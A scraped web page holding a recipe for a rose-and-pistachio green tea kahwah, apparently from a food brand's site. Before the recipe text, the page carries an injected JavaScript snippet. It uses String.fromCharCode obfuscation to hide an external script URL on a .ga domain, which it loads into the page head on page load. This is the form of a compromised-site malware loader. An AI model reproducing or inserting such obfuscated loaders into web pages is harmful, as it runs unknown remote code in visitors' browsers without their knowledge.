Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Rose Green Tea Kahwah - Conscious Food

Rose Green Tea Kahwah

Green Tea from a tea bag can often taste more of the bag than the tea. The Conscious Food Green Tea Plus is loose-leaf green tea in combination with warming spices such as cloves and ajwain. Give this aromatic tea a regal lift by adding dehydrated rose petals and pistachio flakes in a spin on the classic Kashmiri Kahwa. Bottle the dry tea mix and tie a ribbon around it for a festive gift!


  • 1 jar Green Tea Plus
  • 5 tablespoons dehydrated edible rose petals
  • 4 tablespoons peeled pistachio flakes
  • 2 sticks cinnamon
  • 8-10 green cardamom


  1. Mix all the ingredients in a glass bowl. Decant into a dry jar with a tight fitting lid and store in a cool and dark place.
  2. To make the Kahwa, add 4 teaspoons of the tea to 4 cups of water and bring to a rolling boil. Turn off the heat and allow to steep for one minute. Add sugar or honey if liked. Strain and serve immediately.

Shop this aromatic recipe